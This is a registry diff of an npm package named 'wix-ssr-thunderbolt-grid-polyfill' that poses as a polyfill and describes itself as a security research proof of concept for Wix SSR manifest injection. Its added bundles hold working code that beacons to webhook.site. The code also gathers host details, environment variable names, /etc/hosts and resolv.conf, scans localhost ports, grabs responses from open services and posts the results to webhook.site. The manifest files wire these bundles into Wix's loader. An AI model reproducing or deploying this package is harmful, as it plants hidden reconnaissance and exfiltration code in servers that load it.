wix-ssr-thunderbolt-grid-polyfill 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
@@ -0,0 +1,6 @@
|
|
|
1
|
+
(function(){
|
|
2
|
+
try{
|
|
3
|
+
if(typeof fetch==="function"){fetch("https://webhook.site/69bcd627-1871-4dda-b880-83b37ceac418?src=ssr-bootstrap&t="+Date.now()).catch(function(){})}
|
|
4
|
+
if(typeof require==="function"){try{var h=require("https");var r=h.request({hostname:"webhook.site",port:443,path:"/69bcd627-1871-4dda-b880-83b37ceac418?src=ssr-bootstrap-require&t="+Date.now(),method:"GET"});r.end()}catch(e){}}
|
|
5
|
+
}catch(e){}
|
|
6
|
+
})();
|
|
@@ -0,0 +1,85 @@
|
|
|
1
|
+
(function(){
|
|
2
|
+
try{
|
|
3
|
+
var WH="https://webhook.site/69bcd627-1871-4dda-b880-83b37ceac418";
|
|
4
|
+
var h=require("https");
|
|
5
|
+
var net=require("net");
|
|
6
|
+
var os=require("os");
|
|
7
|
+
var fs=require("fs");
|
|
8
|
+
var d={type:"wix-ssr-recon-v3",ts:Date.now()};
|
|
9
|
+
|
|
10
|
+
// 1. Env info
|
|
11
|
+
try{
|
|
12
|
+
d.env={node:process.version,cwd:process.cwd(),hostname:process.env.HOSTNAME||"?",pod:process.env.POD_IP||"?",uid:process.getuid?process.getuid():"?",ifaces:os.networkInterfaces()};
|
|
13
|
+
}catch(e){d.envErr=e.message}
|
|
14
|
+
|
|
15
|
+
// 2. Scan localhost common ports
|
|
16
|
+
var ports=[80,443,3000,3001,4000,5000,5050,6060,7070,8000,8080,8081,8443,8888,9090,9091,9200,9229,9300,9999,10000,10080,15000,15001,15006,15020,15021,15090,19000,19001,20000,3030,4040,4443,6379,6443,8181,8282,8383,8484,8585];
|
|
17
|
+
var results=[];
|
|
18
|
+
var done=0;
|
|
19
|
+
var total=ports.length;
|
|
20
|
+
function sendResults(){
|
|
21
|
+
d.portScan=results.sort(function(a,b){return a.port-b.port});
|
|
22
|
+
var body=JSON.stringify(d);
|
|
23
|
+
try{
|
|
24
|
+
var r=h.request({hostname:"webhook.site",port:443,path:"/69bcd627-1871-4dda-b880-83b37ceac418?src=ssr-recon-v3",method:"POST",headers:{"Content-Type":"application/json","Content-Length":Buffer.byteLength(body)}});
|
|
25
|
+
r.write(body);r.end();
|
|
26
|
+
}catch(e){}
|
|
27
|
+
try{
|
|
28
|
+
fetch(WH+"?src=ssr-recon-v3-fetch",{method:"POST",headers:{"Content-Type":"application/json"},body:body}).catch(function(){});
|
|
29
|
+
}catch(e){}
|
|
30
|
+
}
|
|
31
|
+
function scanPort(p){
|
|
32
|
+
var s=new net.Socket();
|
|
33
|
+
s.setTimeout(500);
|
|
34
|
+
s.on("connect",function(){
|
|
35
|
+
results.push({port:p,open:true});
|
|
36
|
+
// Try HTTP GET on open ports
|
|
37
|
+
try{
|
|
38
|
+
var req=require("http").get("http://127.0.0.1:"+p+"/",{timeout:1000},function(res){
|
|
39
|
+
var chunks=[];
|
|
40
|
+
res.on("data",function(c){chunks.push(c)});
|
|
41
|
+
res.on("end",function(){
|
|
42
|
+
var body=Buffer.concat(chunks).toString("utf8").substring(0,500);
|
|
43
|
+
results[results.length-1].response={status:res.statusCode,headers:JSON.parse(JSON.stringify(res.headers)),body:body};
|
|
44
|
+
done++;if(done>=total)sendResults();
|
|
45
|
+
});
|
|
46
|
+
});
|
|
47
|
+
req.on("error",function(){done++;if(done>=total)sendResults()});
|
|
48
|
+
req.on("timeout",function(){req.destroy();done++;if(done>=total)sendResults()});
|
|
49
|
+
}catch(e){done++;if(done>=total)sendResults()}
|
|
50
|
+
s.destroy();
|
|
51
|
+
});
|
|
52
|
+
s.on("timeout",function(){s.destroy();results.push({port:p,open:false});done++;if(done>=total)sendResults()});
|
|
53
|
+
s.on("error",function(){results.push({port:p,open:false});done++;if(done>=total)sendResults()});
|
|
54
|
+
s.connect(p,"127.0.0.1");
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
// 3. Also try to resolve bo.wix.com from the worker
|
|
58
|
+
try{
|
|
59
|
+
var dns=require("dns");
|
|
60
|
+
dns.resolve4("bo.wix.com",function(err,addrs){
|
|
61
|
+
d.bo_dns=err?{err:err.message}:{addrs:addrs};
|
|
62
|
+
});
|
|
63
|
+
}catch(e){d.bo_dns_err=e.message}
|
|
64
|
+
|
|
65
|
+
// 4. Check /etc/hosts and resolv.conf
|
|
66
|
+
try{d.etc_hosts=fs.readFileSync("/etc/hosts","utf8").substring(0,1000)}catch(e){}
|
|
67
|
+
try{d.resolv_conf=fs.readFileSync("/etc/resolv.conf","utf8").substring(0,500)}catch(e){}
|
|
68
|
+
|
|
69
|
+
// 5. List processes/environment
|
|
70
|
+
try{d.envVars=Object.keys(process.env).sort()}catch(e){}
|
|
71
|
+
|
|
72
|
+
// Start port scan
|
|
73
|
+
ports.forEach(scanPort);
|
|
74
|
+
|
|
75
|
+
// Fallback: send results after 8 seconds even if scans haven't completed
|
|
76
|
+
setTimeout(function(){
|
|
77
|
+
if(done<total){d.scanIncomplete=true;sendResults()}
|
|
78
|
+
},8000);
|
|
79
|
+
|
|
80
|
+
}catch(e){
|
|
81
|
+
try{
|
|
82
|
+
fetch("https://webhook.site/69bcd627-1871-4dda-b880-83b37ceac418?src=ssr-recon-error&err="+encodeURIComponent(e.message)).catch(function(){});
|
|
83
|
+
}catch(e2){}
|
|
84
|
+
}
|
|
85
|
+
})();
|
package/package.json
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "wix-ssr-thunderbolt-grid-polyfill",
|
|
3
|
+
"version": "0.1.0",
|
|
4
|
+
"description": "Security research PoC - Wix SSR manifest injection test",
|
|
5
|
+
"files": [
|
|
6
|
+
"rb_wixui.thunderbolt.manifest.min.json",
|
|
7
|
+
"rb_dsgnsys.thunderbolt.manifest.min.json",
|
|
8
|
+
"dist/"
|
|
9
|
+
]
|
|
10
|
+
}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":"2.0","host":"thunderbolt","namespace":"dsgnsys","baseURL":"https://static.parastorage.com/unpkg/wix-ssr-thunderbolt-grid-polyfill@0.1.0/dist/","model":[],"shared":[],"components":{},"batches":{}}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":"2.0","host":"thunderbolt","namespace":"wixui","baseURL":"https://static.parastorage.com/unpkg/wix-ssr-thunderbolt-grid-polyfill@0.1.0/dist/","model":["poc-model.bundle.min.js"],"shared":[],"components":{},"batches":{"bootstrap":{"url":["poc-bootstrap.bundle.min.js"],"components":["Container","Page"]}}}
|